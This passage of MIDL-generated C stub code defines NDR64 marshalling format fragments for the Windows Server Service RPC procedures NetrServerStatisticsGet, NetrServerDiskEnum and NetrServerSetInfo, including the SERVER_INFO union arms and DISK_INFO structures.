(NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag554\n};\n\nstatic const __midl_frag552_t __midl_frag552 =\n{ \n/* **_STAT_SERVER_0 */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag553\n};\n\nstatic const __midl_frag545_t __midl_frag545 =\n{ \n/* NetrServerStatisticsGet */\n    { \n    /* NetrServerStatisticsGet */      /* procedure NetrServerStatisticsGet */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 140 /* 0x8c */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Service */      /* parameter Service */\n        &__midl_frag809,\n        { \n        /* Service */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Options */      /* parameter Options */\n        &__midl_frag928,\n        { \n        /* Options */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag552,\n        { \n        /* InfoStruct */\n            0,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag538_t __midl_frag538 =\n{ \n/*  */\n    { \n    /* *_DISK_INFO */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag532\n    }\n};\n\nstatic const __midl_frag537_t __midl_frag537 =\n{ \n/* struct _NDR64_NON_CONFORMANT_STRING_FORMAT */\n    { \n    /* struct _NDR64_NON_CONFORMANT_STRING_FORMAT */\n        0x61,    /* FC64_WCHAR_STRING */\n        { \n        /* struct _NDR64_NON_CONFORMANT_STRING_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    },\n    (NDR64_UINT32) 6 /* 0x6 */\n};\n\nstatic const __midl_frag536_t __midl_frag536 =\n{ \n/* _DISK_INFO */\n    { \n    /* _DISK_INFO */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* _DISK_INFO */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag537\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag535_t __midl_frag535 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_NOOP */\n        0x5,    /* FC_EXPR_PAD */\n        (NDR64_UINT8) 4 /* 0x4 */,\n        (NDR64_UINT16) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag532_t __midl_frag532 =\n{ \n/* *_DISK_INFO */\n    { \n    /* *_DISK_INFO */\n        { \n        /* *_DISK_INFO */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            { \n            /* *_DISK_INFO */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag536\n        },\n        &__midl_frag785,\n        &__midl_frag785,\n        &__midl_frag535\n    }\n};\n\nstatic const __midl_frag531_t __midl_frag531 =\n{ \n/* DISK_ENUM_CONTAINER */\n    { \n    /* DISK_ENUM_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DISK_ENUM_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag538,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag530_t __midl_frag530 =\n{ \n/* *DISK_ENUM_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag531\n};\n\nstatic const __midl_frag526_t __midl_frag526 =\n{ \n/* NetrServerDiskEnum */\n    { \n    /* NetrServerDiskEnum */      /* procedure NetrServerDiskEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 48 /* 0x30 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DiskInfoStruct */      /* parameter DiskInfoStruct */\n        &__midl_frag531,\n        { \n        /* DiskInfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag714,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag523_t __midl_frag523 =\n{ \n/* *DWORD */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag737\n};\n\nstatic const __midl_frag522_t __midl_frag522 =\n{ \n/* *_SERVER_INFO_1556 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag463\n};\n\nstatic const __midl_frag479_t __midl_frag479 =\n{ \n/* *_SERVER_INFO_1005 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag376\n};\n\nstatic const __midl_frag478_t __midl_frag478 =\n{ \n/* *_SERVER_INFO_599 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag373\n};\n\nstatic const __midl_frag477_t __midl_frag477 =\n{ \n/* *_SERVER_INFO_503 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag370\n};\n\nstatic const __midl_frag476_t __midl_frag476 =\n{ \n/* *_SERVER_INFO_502 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag368\n};\n\nstatic const __midl_frag475_t __midl_frag475 =\n{ \n/* *_SERVER_INFO_103 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag362\n};\n\nstatic const __midl_frag474_t __midl_frag474 =\n{ \n/* *_SERVER_INFO_102 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag356\n};\n\nstatic const __midl_frag473_t __midl_frag473 =\n{ \n/* *_SERVER_INFO_101 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag351\n};\n\nstatic const __midl_frag472_t __midl_frag472 =\n{ \n/* *_SERVER_INFO_100 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag347\n};\n\nstatic const __midl_frag471_t __midl_frag471 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag470_t __midl_frag470 =\n{ \n/* _SERVER_INFO */\n    { \n    /* _SERVER_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag471,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 51 /* 0x33 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 100 /* 0x64 */,\n        &__midl_frag472,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 101 /* 0x65 */,\n        &__midl_frag473,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 102 /* 0x66 */,\n        &__midl_frag474,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 103 /* 0x67 */,\n        &__midl_frag475,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag476,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag477,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 599 /* 0x257 */,\n        &__midl_frag478,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag479,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1107 /* 0x453 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1010 /* 0x3f2 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1016 /* 0x3f8 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1017 /* 0x3f9 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1018 /* 0x3fa */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1502 /* 0x5de */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1503 /* 0x5df */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1506 /* 0x5e2 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1510 /* 0x5e6 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1511 /* 0x5e7 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1512 /* 0x5e8 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1513 /* 0x5e9 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1514 /* 0x5ea */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1515 /* 0x5eb */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1516 /* 0x5ec */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1518 /* 0x5ee */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1523 /* 0x5f3 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1528 /* 0x5f8 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1529 /* 0x5f9 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1530 /* 0x5fa */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1533 /* 0x5fd */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1534 /* 0x5fe */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1535 /* 0x5ff */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1536 /* 0x600 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1538 /* 0x602 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1539 /* 0x603 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1540 /* 0x604 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1541 /* 0x605 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1542 /* 0x606 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1543 /* 0x607 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1544 /* 0x608 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1545 /* 0x609 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1546 /* 0x60a */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1547 /* 0x60b */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1548 /* 0x60c */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1549 /* 0x60d */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1550 /* 0x60e */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1552 /* 0x610 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1553 /* 0x611 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1554 /* 0x612 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1555 /* 0x613 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1556 /* 0x614 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag469_t __midl_frag469 =\n{ \n/* *_SERVER_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag470\n};\n\nstatic const __midl_frag465_t __midl_frag465 =\n{ \n/* NetrServerSetInfo */\n    { \n    /* NetrServerSetInfo */      /* procedure NetrServerSetInfo */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ServerInfo */      /* parameter ServerInfo */\n        &__midl_frag470,\n        { \n        /* ServerInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ParmErr */      /* parameter ParmErr */\n        &__midl_frag523,\n        { \n        /* ParmErr */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n          